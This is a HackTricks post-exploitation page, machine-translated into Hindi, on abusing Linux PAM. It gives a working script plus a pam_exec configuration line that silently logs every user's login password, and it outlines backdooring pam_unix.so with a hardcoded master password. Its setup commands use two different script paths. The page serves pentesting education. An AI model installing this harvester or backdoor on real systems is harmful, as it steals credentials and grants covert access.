hacktricks/linux-hardening/linux-post-exploitation
2024-09-04 13:36:53 +00:00
..
pam-pluggable-authentication-modules.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:36:53 +00:00
README.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 19:58:30 +00:00

लिनक्स पोस्ट-एक्सप्लोइटेशन

{% hint style="success" %} AWS हैकिंग सीखें और प्रैक्टिस करें:HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)
GCP हैकिंग सीखें और प्रैक्टिस करें: HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)

हैकट्रिक्स का समर्थन करें
{% endhint %}

PAM के साथ लॉगऑन पासवर्ड को स्निफ करें

चलिए एक PAM मॉड्यूल कॉन्फ़िगर करें ताकि हर उपयोगकर्ता जो लॉगिन करने के लिए उपयोग करता है, उस पासवर्ड को लॉग कर सकें। अगर आपको PAM क्या है इसका पता नहीं है तो देखें:

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

अधिक विवरण के लिए मूल पोस्ट देखें। यह सिर्फ एक सारांश है:

तकनीक अवलोकन: प्लगेबल प्रमाणीकरण मॉड्यूल (PAM) यूनिक्स-आधारित सिस्टम पर प्रमाणीकरण को प्रबंधित करने में लचीलाई प्रदान करते हैं। वे लॉगिन प्रक्रियाओं को अनुकूलित करके सुरक्षा को बढ़ा सकते हैं लेकिन गलत तरीके से उपयोग किए जाने पर खतरे भी उठा सकते हैं। यह सारांश एक तकनीक को उजागर करने के लिए PAM का उपयोग करके लॉगिन क्रेडेंशियल को कैप्चर करने की विधि को रूपांतरित करता है, साथ ही संशोधन रणनीतियों को।

क्रेडेंशियल को कैप्चर करना:

  • toomanysecrets.sh नामक एक बैश स्क्रिप्ट तैयार किया गया है जो लॉगिन प्रयासों को लॉग करने के लिए बनाया गया है, जिसमें तारीख, उपयोगकर्ता नाम ($PAM_USER), पासवर्ड (stdin के माध्यम से), और रिमोट होस्ट IP ($PAM_RHOST) को /var/log/toomanysecrets.log में कैप्चर किया जाता है।
  • स्क्रिप्ट को क्रियाशील बनाया जाता है और pam_exec.so मॉड्यूल का उपयोग करके PAM कॉन्फ़िगरेशन (common-auth) में शामिल किया जाता है, जिसमें स्क्रिप्ट को चुपचाप चलाने और प्रमाणीकरण टोकन को स्क्रिप्ट को उजागर करने के विकल्प दिए जाते हैं।
  • यह दृष्टिकोण दिखाता है कि कैसे एक कंप्रोमाइज़्ड लिनक्स होस्ट को गुप्त रूप से क्रेडेंशियल को लॉग करने के लिए उपयोग किया जा सकता है।
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

PAM में बैकडोरिंग

अधिक विवरण के लिए मूल पोस्ट देखें। यह केवल एक सारांश है:

प्लगेबल प्रमाणीकरण मॉड्यूल (PAM) एक सिस्टम है जो लिनक्स के तहत उपयोगकर्ता प्रमाणीकरण के लिए उपयोग किया जाता है। यह तीन मुख्य अवधारणाओं पर काम करता है: उपयोगकर्ता नाम, पासवर्ड, और सेवा। प्रत्येक सेवा के लिए कॉन्फ़िगरेशन फ़ाइलें /etc/pam.d/ निर्देशिका में स्थित हैं, जहां साझा लाइब्रेरी प्रमाणीकरण का संचालन करती है।

उद्देश्य: PAM को संशोधित करें ताकि एक विशिष्ट पासवर्ड के साथ प्रमाणीकरण संभव हो, वास्तविक उपयोगकर्ता पासवर्ड को छोड़कर। यह विशेष रूप से common-auth फ़ाइल द्वारा उपयोग की जाने वाली pam_unix.so साझा लाइब्रेरी पर ध्यान केंद्रित है, जो पासवर्ड सत्यापन के लिए लगभग सभी सेवाओं द्वारा समाहित किया जाता है।

pam_unix.so को संशोधित करने के लिए चरण:

  1. common-auth फ़ाइल में प्रमाणीकरण निर्देशिका का पता लगाएं:
  • उपयोगकर्ता के पासवर्ड की जांच के लिए जिम्मेदार लाइन pam_unix.so को बुलाती है।
  1. स्रोत को संशोधित करें:
  • pam_unix_auth.c स्रोत फ़ाइल में एक शर्तमय वक्तव्य जोड़ें जो यदि एक पूर्वनिर्धारित पासवर्ड का उपयोग किया जाता है, तो पहुंच देता है, अन्यथा, यह सामान्य प्रमाणीकरण प्रक्रिया के साथ आगे बढ़ता है।
  1. पुनः कंपाइल और पुनः रखें संशोधित pam_unix.so लाइब्रेरी को उचित निर्देशिका में।
  2. परीक्षण:
  • पूर्वनिर्धारित पासवर्ड के साथ विभिन्न सेवाओं (लॉगिन, ssh, sudo, su, स्क्रीनसेवर) में पहुंच प्रदान की जाती है, जबकि सामान्य प्रमाणीकरण प्रक्रियाएँ प्रभावित नहीं होती हैं।

{% hint style="info" %} आप इस प्रक्रिया को https://github.com/zephrax/linux-pam-backdoor के साथ स्वचालित कर सकते हैं। {% endhint %}